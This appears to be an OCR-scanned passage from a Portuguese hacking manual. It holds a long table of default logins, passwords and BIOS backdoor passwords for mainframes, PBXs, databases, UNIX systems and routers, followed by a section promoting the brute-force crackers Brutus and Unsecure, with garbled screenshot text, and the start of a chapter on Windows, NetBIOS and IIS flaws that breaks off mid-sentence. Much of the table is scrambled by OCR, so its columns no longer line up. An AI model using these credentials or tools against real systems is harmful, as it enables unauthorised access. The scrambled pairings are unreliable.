n/a MBIUO
n/a sertafu
ESSEX

IPC

$ALOCS (none)
ADMIN (none)
AP2SVP (none)
APL2PP (none)
AUTOLOG1 (none)
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Admin
User
User
Admin

Admin
Admin
Admin
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IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM

VM/CMS
VM/CMS
VM/CMS
VM/CMS
VM/CMS
VM/CMS
VM/CMS
VM/CMS
VM/CMS
VM/CMS
VM/CMS
VM/CMS
VM/CMS
VM/CMS
VM/CMS
VM/CMS
VM/CMS
VM/CMS
VM/CMS
VM/CMS
VM/CMS
VM/CMS
VM/CMS
VM/CMS
VM/CMS
VM/CMS
VM/CMS
VM/CMS
VM/CMS
VM/CMS
VM/CMS
VM/CMS
VM/CMS
VM/CMS
VM/CMS
VM/CMS
VM/CMS
VM/CMS
VM/CMS
VM/CMS
VM/CMS
VM/CMS
VM/CMS
VM/CMS
VM/CMS
VM/CMS
VM/CMS
VM/CMS
VM/CMS
VM/CMS
VM/CMS
VM/CMS
VM/CMS

Multi
Mult
Mult
Multi
Multi
Multi
Multi
Mult
Mult
Multi
Mult
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi

BATCH
BATCH1
BATCH2
cce
CMSBATCH
CMSUSER
CPNUC
CPRM
CSPUSER
CVIEW
DATAMOVE
DEMO1
DEMO2
DEMO3
DEMO4
DIRECT
DIRMAINT
DISKCNT
EREP
FSFADMIN
FSFTASK1
FSFTASK2
GCs
IDMS
IDMSSE
11PS
IPFSERV
ISPVM
IVPM1
IVPM2
MAINT
MOESERV
NEVIEW
OLTSEP
oP1
OPERATNS
OPERATOR
PDMREMI
PENG
PROCAL
PRODBM
PROMAIL
PSFMAINT
PVM
RDM470
ROUTER
RSCS
RSCSV2
SAVSYS
SFCMI
SFCNTRL
SMART
SQLDBA

(none)
(none)
(none)
(none)
(none)
(none)
(none)
(none)
(none)
(none)
(none)
(none)
(none)
(none)
(none)
(none)
(none)
(none)
(none)
(none)
(none)
(none)
(none)
(none)
(none)
(none)
(none)
(none)
(none)
(none)
(none)
(none)
(none)
(none)
(none)
(none)
(none)
(none)
(none)
(none)
(none)
(none)
(none)
(none)
(none)
(none)
(none)
(none)
(none)
(none)
(none)
(none)
(none)
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IBM VM/CMS Multi SQLUSER (none)

IBM VM/CMS Multi SYSADMIN (none)

IBM VM/CMS Multi SYSCKP (none)

IBM VM/CMS Multi SYSDUMP1  (none)

IBM VM/CMS Multi SYSERR (none)

IBM VM/CMS Multi SYSWRM (none)

IBM VM/CMS Multi TDISK (none)

IBM VM/CMS Multi TEMP (none)

IBM VM/CMS Multi TSAFVM (none)

IBM VM/CMS Multi VASTEST (none)

IBM VM/CMS Multi VM3812 (none)

IBM VM/CMS Multi VMARCH (none)

IBM VM/CMS Multi VMASMON (none)

IBM VM/CMS Multi VMASSYS (none)

IBM VM/CMS Multi VMBACKUP  (none)

IBM VM/CMS Multi VMBSYSAD  (none)

IBM VM/CMS Multi VMMAP (none)

IBM VM/CMS Multi VMTAPE (none)

IBM VM/CMS Multi VMTLIBR (none)

IBM VM/CMS Multi VMUTIL (none)

IBM VM/CMS Multi VSEIPO (none)

IBM VM/CMS Multi VSEMAINT (none)

IBM VM/CMS Multi VSEMAN (none)

IBM VM/CMS Multi VTAM (none)

IBM VM/CMS Multi VTAMUSER  (none)

Intel Shiva Multi Guest (none) User
Intel Shiva Multi root (none) Admin
Intel Shiva Lanrovers Multi root (none) Admin
Intel LanRover VPN Gateway < 6.0 Multi n/a isolation Admin
Intel LanRover VPN Gateway 6.0> Multi n/a shiva Admin
Interbase Interbase Database Server All Multi SYSDBA masterkey Admin
IRC IRC Daemon IRC n/a FOOBAR Acess
Iwill PC BIOS Console n/a iwill Admin
JD Edwards WorldVision/OneWorld All(?) TCP 1964 JDE JDE Admin/SECOF
Jetform Jetform Design HTTP Jetform (none) Edmin
JetWay PC BIOS Console n/a spooml Admin
Joss Technology PC BIOS Console n/a 57gbzb Admin
Joss Technology PC BIOS Console n/a technolgi Admin
Lantronics Lantronics Terminal Server TCP 7000 n/a access Admin
Lantronics Lantronics Terminal Server TCP 7000 n/a system Admin
Leading Edge PC BIOS Console n/a MASTER Admin
Linksys DSL Telnet n/a admin Admin
Linux Slackware Multi gonzo (none) User
Linux Slackware Multi satan (none) User
Linux Slackware Multi shake (none) User
Linux UCLinux for UCSIMM Multi root uClinux Admin
Livingston IRX Router Telnet Iroot (none)

Livingston Livingston Portmaster 3 Telnet Iroot (none)

Livingston Officerouter Telnet Iroot (none)

Lucent System 75 Multi bciim bciimpw

Lucent System 75 Multi bcim bcimpw

Lucent System 75 Multi bcms bcmspw

79



Lucent
Lucent
Lucent
Lucent
Lucent
Lucent
Lucent
Lucent
Lucent
Lucent
Lucent
Lucent
Lucent
Lucent
Lucent
Lucent
Lucent
Lucent
Lucent
Lucent
Lucent
Lucent
Lucent
Lucent
Lucent
Lucent

M Technology
MachSpeed
Magic-Pro
Megastar
Mentec
Micron
Micron
Micronics
Microplex
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Mintel
Motorola
MySQL

NCR
NetGenesis
Netopia
Netopia
NetworkICE
NeXT
NeXT

System 75
System 75
System 75
System 75
System 75
System 75
System 75
System 75
System 75
System 75
System 75
System 75
System 75
System 75
System 75
System 75
System 75
System 75
System 75
System 75
System 75
System 75
System 75
System 75
System 75
System 75
PC BIOS
PC BIOS
PC BIOS
PC BIOS
Micro/RSX
PC BIOS
PC BIOS
PC BIOS
Print Server
Windows NT
Windows NT
Windows NT
Windows NT
Windows NT
Windows NT
Windows NT
Mintel PBX
Cablerouter
MySQL

NCR UNIX

NetAnalysis Web Reporting
Netopia 7100

Netopia 9500

ICECap Manager
NeXTStep

NeXTStep

Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Console
Console
Console
Console
Multi
Console
Console
Console
Telnet
Multi
Multi
Multi
Multi
Multi
Multi
Multi

Telnet

all
versions
Multi

HTTP
Telnet
Telnet
8081
Multi
Multi

bcms
bcnas
blue
browse
browse
craft
craft
craft
cust
enquiry
field
inads
inads
inads
init
locate
maint
maint
nms

pw
rcust
support
sysadm
sysadm
sysadm
tech
n/a

n/a

n/a

n/a
MICRO
n/a

n/a

n/a

root
(null)
Administrator
Administrator
Guest
Guest
IS_$hostname
User
n/a
cablecom
root

ncrm
naadmin
(none)
netopia
iceman
me

root
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bcmspw

bcnaspw

bluepw

browsepw

looker

craft

craftpw

craftpw

custpw

enquirypw

support

indspw

indspw

inads

initpw

locatepw

maintpw

rwmaint

nmspw

pwpw

rcustpw

supportpw

sysadmpw

admpw

Syspw

field

mMmM Admin
sp99dd Admin
prost Admin
star Admin
RSX Admin
sldkj754 Admin
xyzall Admin
dn_04rjc Admin
root Admin
(none) User
Administrator Admin
(none) Admin
Guest User
(none) User
(same) User
User User
SYSTEM Admin
router Admin
(none) Admin
ncrm Admin
naadmin Admin
(none) Admin
netopia Admin
(none) Admin
(none) User
NeXT Admin
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NeXT NeXTStep Multi signa signa User

Nimble PC BIOS Console n/a xdfk9874t3 Admin

Nortel Accelar (Passport) 1000 series routing Multi 12 12 Layer 2 Read
switches Write

Nortel Accelar (Passport) 1000 series routing Multi 13 13 Layer 3 (and
switches layer 2) Read

Write

Nortel Accelar (Passport) 1000 series routing Multi ro ro Read Only
switches

Nortel Accelar (Passport) 1000 series routing Multi rw rw Read Write
switches

Nortel Accelar (Passport) 1000 series routing Multi rwa rwa Read Write All
switches

Nortel Extranet Switches Multi admin setup Admin

Nortel Meridian PBX Serial login 0000

Nortel Meridian PBX Serial spcl 0000

Nortel Remote Office 9150 Client admin root Admin

Novell Netware Multi ADMIN ADMIN

Novell Netware Multi ADMIN (none)

Novell Netware Multi ARCHIVIST (none)

Novell Netware Multi ARCHIVIST ARCHIVIST

Novell Netware Multi BACKUP (none)

Novell Netware Multi BACKUP BACKUP

Novell Netware Multi CHEY_ARCHS CHEY_ARCHSVR

Novell Netware Multi \éEEY_ARCHS (none)

Novell Netware Multi \FIEX FAX

Novell Netware Multi FAX (none)

Novell Netware Multi FAXUSER FAXUSER

Novell Netware Multi FAXUSER (none)

Novell Netware Multi FAXWORKS  (none)

Novell Netware Multi FAXWORKS  FAXWORKS

Novell Netware Multi GATEWAY GATEWAY

Novell Netware Multi GATEWAY GATEWAY

Novell Netware Multi GATEWAY (none)

Novell Netware Multi GUEST TSEUG

Novell Netware Multi GUEST GUESTGUEST

Novell Netware Multi GUEST GUESTGUE

Novell Netware Multi GUEST GUEST

Novell Netware Multi GUEST (none)

Novell Netware Multi HPLASER (none)

Novell Netware Multi HPLASER HPLASER

Novell Netware Multi LASER (none)

Novell Netware Multi LASER LASER

Novell Netware Multi LASERWRITE LASERWRITER

Novell Netware Multi EASERWRITE (none)

Novell Netware Multi I\RIIAIL (none)

Novell Netware Multi MAIL MAIL

Novell Netware Multi POST (none)

Novell Netware Multi POST POST

Novell Netware Multi PRINT (none)

Novell Netware Multi PRINT PRINT

Novell Netware Multi PRINTER (none)

Novell Netware Multi PRINTER PRINTER

Novell Netware Multi ROOT (none)
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Novell
Novell
Novell
Novell
Novell
Novell
Novell
Novell
Novell
Novell
Novell
Novell
Novell

Novell

Novell
Novell
Novell

Novell

Novell
Novell
Nurit

Oracle
Oracle
Oracle
Oracle

Oracle
Oracle
Oracle
Oracle
Oracle

Oracle
Oracle
Oracle
Oracle
Oracle
Oracle
Oracle
Oracle
Oracle

Oracle
Oracle
Oracle
Oracle
Osicom
Osicom
Osicom
Osicom
Osicom

Netware
Netware
Netware
Netware
Netware
Netware
Netware
Netware
Netware
Netware
Netware
Netware
Netware

Netware

Netware
Netware
Netware

Netware

Netware
Netware
PC BIOS
Oracle RDBMS
Oracle RDBMS
Oracle RDBMS
Oracle RDBMS

Oracle RDBMS
Oracle RDBMS
Oracle RDBMS
Oracle RDBMS
Oracle RDBMS

Oracle RDBMS
Oracle RDBMS
Oracle RDBMS
Oracle RDBMS
Oracle RDBMS
Oracle RDBMS
Oracle RDBMS
Oracle RDBMS
Oracle RDBMS

Oracle RDBMS
Oracle RDBMS
Oracle RDBMS
Personal Oracle
JETXPrint
JETXPrint
JETXPrint
JETXPrint

78
7,8
7,8
7,8

7,8
7,8
7,8
7,8
7,8

7,8
7,8
7,8
7,8
7,8
7,8
7,8
7,8
7,8

7,8

7,8

7,8

8
1000E/B
1000E/N
1000T/N
500 E/B

NETCommuter Remote Access Server

Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi

Multi

Multi
Multi
Multi

Multi

Multi
Multi
Console
Multi
Multi
Multi
Multi

Multi
Multi
Multi
Multi
Multi

Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi

Multi
Multi
Multi
Multi
Telnet
Telnet
Telnet
Telnet
Telnet

ROOT
ROUTER
SABRE
SUPERVISOR
SUPERVISOR
SUPERVISOR
SUPERVISOR
SUPERVISOR
SUPERVISOR
SUPERVISOR
TEST

TEST

USER_TEMPL
ATE
USER_TEMPL
ATE
WANGTEK

WANGTEK

WINDOWS_P
ASSTHRU
WINDOWS_P
ASSTHRU
WINSABRE

WINSABRE
$system
ADAMS
APPLSYS
APPS

AURORA@OR
B@UNAUTHE
NTICATED
BLAKE

CLARK
CTXDEMO
CTXSYS
DBSNMP

DEMO

JONES
MDSYS
NAMES
ORDPLUGINS
OUTLN

RMAN

SCOTT

SYS

SYSADM
SYSTEM
TRACESRV
PO8
sysadm
sysadm
sysadm
sysadm
debug
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ROOT

(none)
(none)
NETFRAME
NFI

NF

HARRIS
SUPERVISOR
(none)
SYSTEM
TEST
(none)
(none)

USER_TEMPLATE

(none)
WANGTEK
WINDOWS_PASSTHRU

(none)

SABRE

WINSABRE

(none) Admin
WOOD

APPLSYS

APPS

INVALID

PAPER
CLOTH
CTXDEMO
CTXSYS
DBSNMP

roles
DEMO

STEEL
MDSYS
NAMES
ORDPLUGINS
OUTLN

RMAN

TIGER

CHANGE_ON_| DBA +
NSTALL
SYSADM

MANAGER

TRACE

PO8

sysadm Admin
sysadm Admin
sysadm Admin
sysadm Admin
d.e.b.u.g User
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Osicom
Osicom
Osicom
Osicom
Osicom
Osicom
Osicom
Osicom
Osicom
Osicom
Osicom
Osicom
Osicom
Osicom
Osicom
Osicom
Osicom
Osicom
Osicom
Osicom
Osicom
Osicom
Osicom
Osicom
Osicom
Osicom
Osicom
Osicom
Osicom
Osicom
Osicom
Osicom
Osicom
Osicom
Osicom
Osicom
Osicom
Osicom
Osicom
Osicom
Osicom
Osicom
Osicom
Osicom
Packard Bell
Prime
Prime
Prime
Prime
Prime
Prime
Prime
Prime

NETCommuter Remote Access Server

NETCommuter Remote Access Server

NETCommuter Remote Access Server

NETCommuter Remote Access Server

NETPrint
NETPrint
NETPrint
NETPrint
NETPrint
NETPrint
NETPrint
NETPrint
NETPrint
NETPrint
NETPrint
NETPrint
NETPrint
NETPrint
NETPrint
NETPrint
NETPrint
NETPrint
NETPrint
NETPrint
NETPrint
NETPrint
NETPrint
NETPrint
NETPrint
NETPrint
NETPrint
NETPrint
NETPrint
NETPrint
NETPrint
NETPrint
NETPrint
NETPrint
NETPrint
NETPrint
NETPrint
NETPrint
NETPrint
Osicom Plus T1/PLUS 56k
PC BIOS
PrimeOS
PrimeOS
PrimeOS
PrimeOS
PrimeOS
PrimeOS
PrimeOS
PrimeOS

1500 E/B
1000E/D
1000E/NDS
1500E/N
2000E/N
1500 E/B
1000E/D
1000E/NDS
1500E/N
2000E/N
1500 E/B
1000E/D
1000E/NDS
1500E/N
2000E/N
1500 E/B
1000E/D
1000E/NDS
1500E/N
2000E/N
1000E/NDS
1500E/N
2000E/N
1000E/B
2000E/B
1000E/N
2000E/N
1000 T/B
2000 T/B
1000 T/N
2000 T/N
1500 E/B
1500E/N
1500T/N
1000E/D
500 E/B
500 E/N
500 T/B
500 T/N

Telnet
Telnet
Telnet
Telnet
Telnet
Telnet
Telnet
Telnet
Telnet
Telnet
Telnet
Telnet
Telnet
Telnet
Telnet
Telnet
Telnet
Telnet
Telnet
Telnet
Telnet
Telnet
Telnet
Telnet
Telnet
Telnet
Telnet
Telnet
Telnet
Telnet
Telnet
Telnet
Telnet
Telnet
Telnet
Telnet
Telnet
Telnet
Telnet
Telnet
Telnet
Telnet
Telnet
Telnet
Console
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi

echo
guest
Manager
sysadm
debug
debug
debug
debug
debug
echo
echo
echo
echo
echo
guest
guest
guest
guest
guest
Manager
Manager
Manager
Manager
Manager
sysadm
sysadm
sysadm
sysadm
sysadm
sysadm
sysadm
sysadm
sysadm
sysadm
sysadm
sysadm
sysadm
sysadm
sysadm
sysadm
sysadm
sysadm
sysadm
write

n/a

dos
guest
guestl
guestl
fam

mail
maint
mfd

echo
guest
Manager
sysadm
d.e.b.u.g
d.e.b.u.g
d.e.b.u.g
d.e.b.u.g
d.e.b.u.g
echo
echo
echo
echo
echo
guest
guest
guest
guest
guest
Manager
Manager
Manager
Manager
Manager
sysadm
sysadm
sysadm
sysadm
sysadm
sysadm
sysadm
sysadm
sysadm
sysadm
sysadm
sysadm
sysadm
sysadm
sysadm
sysadm
sysadm
sysadm
sysadm
private
bell9

dos
guest
guest
guestl
fam

mail
maint
mfd

User
User
Admin
Admin
User
User
User
User
User
User
User
User
User
User
User
User
User
User
User
Admin
Admin
Admin
Admin
Admin
Admin
Admin
Admin
Admin
Admin
Admin
Admin
Admin
Admin
Admin
Admin
Admin
Admin
Admin
Admin
Admin
Admin
Admin
Admin

Admin
User
User
User
User
User
User
User
User
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Prime PrimeOS Multi netlink netlink User

Prime PrimeOS Multi prime prime User
Prime PrimeOS Multi prime primeos User
Prime PrimeOS Multi primeos prime User
Prime PrimeQOS Multi primeos primeos User
Prime PrimeOS Multi primenet primenet User
Prime PrimeOS Multi primenet primeos User
Prime PrimeOS Multi primos_cs primos User
Prime PrimeQOS Multi primos_cs prime User
Prime PrimeOS Multi system prime Admin
Prime PrimeOS Multi system system Admin
Prime PrimeOS Multi tele tele User
Prime PrimeOS Multi test test User
QDI PC BIOS Console n/a QDI Admin
QDI SpeedEasy BIOS Console n/a lesarotl Admin
Quantex PC BIOS Console n/a texX1 Admin
Quantex PC BIOS Console n/a xljlbj Admin
Raidzone raid arrays n/a raidzone

Ramp Networks WebRamp wradmin trancell

RapidStream RapidStream Appliances Multi rsadmin (null) Admin
Raritan KVM Switches admin raritan Admin
RedHat Redhat 6.2 HTTP piranha q User
RedHat Redhat 6.2 HTTP piranha piranha User
Remedy Remedy Multi ARAdmin AR#AdmIn# Admin
Research PC BIOS Console n/a Col2ogro2 Admin
RM RM Connect Multi admin rmnetim

RM RM Connect Multi admin2 changeme

RM RM Connect Multi adminstrator ~ changeme

RM RM Connect Multi deskalt password

RM RM Connect Multi deskman changeme

RM RM Connect Multi desknorm password

RM RM Connect Multi deskres password

RM RM Connect Multi guest (none)

RM RM Connect Multi replicator replicator

RM RM Connect Multi RMUserl password

RM RM Connect Multi setup changeme

RM RM Connect Multi teacher password

RM RM Connect Multi templ password

RM RM Connect Multi topicalt password

RM RM Connect Multi topicnorm password

RM RM Connect Multi topicres password

RM Server BIOS Console n/a RM

Semaphore PICK O/S DESQUETOP

Semaphore PICK O/S DS

Semaphore PICK O/S DSA

Semaphore PICK O/S PHANTOM

Shuttle PC BIOS n/a Spacve Admin
Siemens Hicom 100E PBX 31994 31994

Siemens Hicom 150E PBX 31994 31994

Siemens PhoneMail poll poll

Siemens PhoneMail poll tech

Siemens PhoneMail sysadmin sysadmin

Siemens PhoneMail system system
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Siemens PhoneMail system field

Siemens PhoneMail tech tech

Siemens ROLM PBX admin pwp

Siemens ROLM PBX eng engineer

Siemens ROLM PBX op op

Siemens ROLM PBX op operator

Siemens ROLM PBX su super

Siemens Nixdorf PC BIOS Console n/a SKY_FOX Admin
Silicon Graphics IRIX Multi 4Dgifts 4Dgifts Admin
Silicon Graphics IRIX Multi 4Dgifts (none) Admin
Silicon Graphics IRIX Multi demos (none) Admin
Silicon Graphics IRIX Multi Ezsetup (none) Admin
Silicon Graphics IRIX Multi field field Admin
Silicon Graphics IRIX 5.%, 6.X Multi guest (none) CLI, UID guest
Silicon Graphics IRIX 5.%, 6.X Multi Ip (none) CLI, UID Ip
Silicon Graphics IRIX Multi OutOfBox (none) Admin
Silicon Graphics IRIX Multi tour tour Admin
Silicon Graphics IRIX Multi tutor (none) Admin
Silicon Graphics IRIX Multi tutor tutor Admin
Sovereign Hill InQuery Admin shs Admin
Sun Sun E10000 System Service Processor Multi ssp ssp Admin
Sun SunScreen 3.1 Lite TCP 3852 admin admin Admin
SuperMicro PC BIOS Console n/a ksdjfg934t Admin
Sybase Adaptive Server Enterprise 11.x,12.x Multi sa (none) SA and SSO
Telus Telephony Services Multi (created) telus00 [?5;
Telus Telephony Services Multi (created) telus99 User
Tiny PC BIOS Console n/a Tiny Admin
T™MC PC BIOS Console n/a BIGO Admin
Toshiba PC BIOS Console n/a 24Banc8l Admin
Toshiba PC BIOS Console n/a Toshiba Admin
Toshiba PC BIOS Console n/a toshy99 Admin
UNIX Generic Multi adm adm Admin
UNIX Generic Multi adm (none) Admin
UNIX Generic Multi admin admin User
UNIX Generic Multi administrator ~ administrator User
UNIX Generic Multi administrator  (none) User
UNIX Generic Multi anon anon User
UNIX Generic Multi bbs bbs User
UNIX Generic Multi bbs (none) User
UNIX Generic Multi bin sys Admin
UNIX Generic Multi bin sys Admin
UNIX Generic Multi checkfs checkfs User
UNIX Generic Multi checkfsys checkfsys User
UNIX Generic Multi checksys checksys User
UNIX Generic Multi daemon daemon User
UNIX Generic Multi daemon (none) User
UNIX Generic Multi demo demo User
UNIX Generic Multi demo (none) User
UNIX Generic Multi demos demos User
UNIX Generic Multi demos (none) User
UNIX Generic Multi dni (none) User
UNIX Generic Multi dni dni User
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UNIX
UNIX
UNIX
UNIX
UNIX
UNIX
UNIX
UNIX
UNIX
UNIX
UNIX
UNIX
UNIX
UNIX
UNIX
UNIX
UNIX
UNIX
UNIX
UNIX
UNIX
UNIX
UNIX
UNIX
UNIX
UNIX
UNIX
UNIX
UNIX
UNIX
UNIX
UNIX
UNIX
UNIX
UNIX
UNIX
UNIX
UNIX
UNIX
UNIX
UNIX
UNIX
UNIX
UNIX
UNIX
UNIX
UNIX
UNIX
UNIX
UNIX
UNIX
UNIX
UNIX

Generic
Generic
Generic
Generic
Generic
Generic
Generic
Generic
Generic
Generic
Generic
Generic
Generic
Generic
Generic
Generic
Generic
Generic
Generic
Generic
Generic
Generic
Generic
Generic
Generic
Generic
Generic
Generic
Generic
Generic
Generic
Generic
Generic
Generic
Generic
Generic
Generic
Generic
Generic
Generic
Generic
Generic
Generic
Generic
Generic
Generic
Generic
Generic
Generic
Generic
Generic
Generic
Generic

Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi

fa

fa

fax

fax

ftp

ftp
games
games
gopher
gropher
guest
guest
guest
halt
halt
informix
install

Ipadm
Ipadmin
lynx

lynx

mail

mail

man

man

me

me
mountfs
mountfsys
mountsys
news
news
nobody
nobody
nuucp
operator
operator
oracle
postmaster
postmaster
powerdown
rjie

root

root
setup
shutdown
shutdown
sync
sync

(none)
fa
(none)
fax
(none)
ftp
games
(none)
gopher
(none)
guest
guestgue
(none)
halt
(none)
informix
install

Ip

bin
lineprin
(none)
Ipadm
Ipadmin
lynx
(none)
(none)
mail
man
(none)
(none)
me
mountfs
mountfsys
mountsys
news
(none)
(none)
nobody
(none)
operator
(none)
(none)
postmast
(none)
powerdown
rjie

root
(none)
setup
shutdown
(none)
sync
(none)

User
User
User
User
User
User
User
User
User
User
User
User
User
User
User
User
Admin
User
User
User
User
User
User
User
User
User
User
User
User
User
User
Admin
Admin
Admin
User
User
User
User
User
User
User
User
User
User
User
User
Admin
Admin
Admin
User
User
User
User
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UNIX Generic Multi sys sys Admin
UNIX Generic Multi sys system Admin
UNIX Generic Multi sys bin Admin
UNIX Generic Multi sysadm sysadm Admin
UNIX Generic Multi sysadm admin Admin
UNIX Generic Multi sysadmin sysadmin Admin
UNIX Generic Multi syshin syshin Admin
UNIX Generic Multi system_admin (none) Admin
UNIX Generic Multi system_admin system_admin  Admin
UNIX Generic Multi trouble trouble User
UNIX Generic Multi umountfs umountfs User
UNIX Generic Multi umountfsys umountfsys User
UNIX Generic Multi umountsys umountsys User
UNIX Generic Multi unix unix User
UNIX Generic Multi user user User
UNIX Generic Multi uucp uucp User
UNIX Generic Multi uucpadm uucpadm User
UNIX Generic Multi web (none) User
UNIX Generic Multi web web User
UNIX Generic Multi webmaster webmaster User
UNIX Generic Multi webmaster (none) User
UNIX Generic Multi WWW (none) User
UNIX Generic Multi WWwW WWW User
Unknown System 88 Console test test User
Unknown System 88 Console  operator operator Admin
Unknown System 88 Console  overseer overseer Admin
Unknown POCSAG Radio Paging 2.05 Port 8000 n/a password Admin
Verifone Verifone Junior 2.05 (none) 166816

Vextrec Technology PC BIOS Console n/a Vextrex

Vobis PC BIOS Console  n/a merlin Admin
Wim Bervoets WIMBIOSnbsp BIOS Console n/a Compleri Admin
WWWBoard WWWADMIN.PL HTTP WebAdmin WebBoard Admin
Xylan Omniswitch Telnet admin switch Admin
Xylan Omniswitch Telnet diag switch

Xyplex Routers Port 7000 n/a access User
Xyplex Routers Port 7000 n/a system Admin
Xyplex Terminal Server Port 7000 n/a access User
Xyplex Terminal Server Port 7000 n/a system Admin
Zenith PC BIOS Console n/a 3098z Admin
Zenith PC BIOS Console n/a Zenith Admin
ZEOS PC BIOS Console n/a zeosx Admin
Zyxel Generic Routers Telnet n/a 1234 Admin

Multi-bruteforce

Existem muitos programas de bruteforce especificos, como o WebCrack (que quebra
senhas de paginas web). Mas ha também excelentes programas que conseguem quebrar
senhas de véarios tipos diferentes, como senhas de e-mai, netbios, web, unix, enfim, quase
tudo. Jacitei 0 Shadow Scan, mas mostrarei dois outros programas 6timos nessa tarefa:
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Brutus: Excelente programas de bruteforce. Rapido e com uma configuragdo muito
especifica, produz excelentes resultados. Até senhas de netbus ele quebra. E salva as sessoes.

¥ Brutus - AETZ - www.hoobie.net/brutus - {(January 2000) - i -0l =]

File Tools Help

Taiget [127.0.01 Typs |

HTTF [Bagic Auth)

r~Connection Option F' [Fm i -
Port IEHZI Connections © 1= 10 Timeout 7] IE'EIT:'S Use Prosy  [efine |
: : Telnet
—HTTF [Bagic] Dption SMB NetBIOS)
Methad IHE-""‘-D 'I v Keepdlive ﬁg?tBDurz

Authentication O ption

v Use Usemame [~ Single User Pazz Mode I'W'Drd List "I
UserFile |users tat Bru:-wsel PassFils [words et Erowsel

Puazitive suthentication Results

T arget | Type | U zemame | Pagzword |

Located and ingtalled 1 authentication plug-ing

| 0% | Timeout:  Eeject AuthSeq  Throttle  Huick Kill
| | fidle o

Menu do programa Brutus

Unsecure: Mais rgpido gque o brutus, esse excelente bruteforce € um dos mais usados para
0 Windows. Sabendo a porta do servidor (ftp, telnet, etc...), o programa faz o servico para
VOCE.
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& Unsecure : o ] 4

File Attack Help

Connect! FPausze Stop |
Computer P : {200.131.202.36
Fart |2'I
Current pazzword ; Iaaaab
zermame ; Iru:u:ut
Dlictionary file ; Iunsdic.t:-:t

—attack options————————
[ Dictionary attack Secure

v Brute force attack
UNS

LURE

— Brute force options
v az

&z MNumber of characters ta start on :
™ o4 -

[T i@t =ik e 47 I

[T Custom character set

Cuztom brute force characters ; Iacdefhiilmnurstu'l 290 -

WWiords done 0of 0

Mat Connected

Programa Unsecure sendo usado

Politica de senhas nao-crackeaveis

N&o existe mistério para que se possa ter uma senha segura. Se voceé utilizar o sistema
Unix, crie uma combinagdo ndo-16gica de letras e nimeros. Como por exempl o:

FqTp78nH

Apesar de ser mais dificil de se decorar do que senhas normais, a boa combinacéo dificulta
muito que se consiga crackear a senha. Nunca coloque seu home como senha, nimero de
telefone, data de aniversario ou coisas assim. Seja precavido. Para Windows existe um outro
método muito bom para senhas, a utilizacdo dos caracteres alt. Para ler mais sobre eles,
consulte o capitulo 12 (DOS).
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12

Falhas

Definicao

Todos os sistemas tém falhas. Elas consistem em pequenos erros na criacdo dos programas,
possibilitando que crackers os utilizem paratomar o controle de alguma méaquina. Existem em
absolutamente todo tipo de software, desde um simples tocador de mp3, um aparentemente
inofensivo editor de texto, um jogo de computador e até mesmo o proprio Ssistema
operacional. Essas falhas por mais insignificantes que parecam, podem comprometer a
seguranca de uma rede inteira. E a maior de todas as falhas é o desinteresse dos muitos
administradores de hoje que acham que o termo bug é algum desenho do Walt Disney.

Como surge o bug

O bug, ou falha, surge a partir do momento que o programador comete um erro. Ou sgja,
indiretamente € um erro humano que gera a falha nos programas. Por serem pequenos erros e
ndo agueles cabeludos que fazem o compilador até rir do programador, muitas vezes passam
despercebidos e sd sdo descobertos por algum hacker ou analista de seguranca. Os erros do
Windows, por exemplo. A grande maioria das falhas descobertas, sdo os préprios usuarios
gue descobrem. Os criadores mesmo gue tém o codigo-fonte e conhecem o programa como a
palma da mao rarissimas vezes percebem algum erro. Para ser mais seguro, um programa tém
gue ser testado de todas as maneiras possiveis. Coisa que ndo fazem mais hoje.

E

Este programa exacubou uma operag 3o legal = serd
fechadn.

Seaproblema persisti, entre sm.contato com o
revBndeda,

Exemplo perfeito de falha : General Protection Fault.

Exemplos de falhas

Algumas falhas sdo tdo bobas que é dificil de acreditar. Vou tomar como exemplo
novamente o sistema Windows, pois de longe € o que possui mais falhas (claro, todas podem
ser corrigidas). O Windows 98 possui muitos erros, mas trés sao interessantes. O primeiro é
gue ndo consegue executar nem abrir nenhum link com a url c:\con\con . Se vocé tentar ir em
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iniciar e executar, 0 sistema travarq e mostrard a famosa tela azul. Os outros dois séo do
netbios. O primeiro possibilita que vocé acesse o diretério system do Windows por um
compartilhamento de impressora. E s6 mapear o compartilhamento padr&o printer$. O Gltimo
possibilita que se descubra a senha do netbios sabendo apenas o primeiro caractere. Por
exemplo: coloco no disco C compartilhado a senha herodes. Se alguém tentar o primeiro h ja
consegue acesso a minha rede. O Windows 2000 também possui algumas falhas, como deixar
0 netbios ativo em sua instalagdo. Saindo um pouco dos sistemas operacionais, aguns
programas também possuem falhas graves.

Erros de Active X possibilitam que ao visitar um site, o Internet Explorer instale um
programa no seu computador e 0 execute sem que Vocé perceba. Preocupa-se em ndo abrir
anexos de e-mail? Erros no outlook fazem com que sO de receber os e-mails 0s anexos sejam
executados automaticamente. O Internet Information Server , servidor de homepages da
Microsoft, possui erros graves. Unicode, RDS, existem muitos. Um mais recente € uma falha
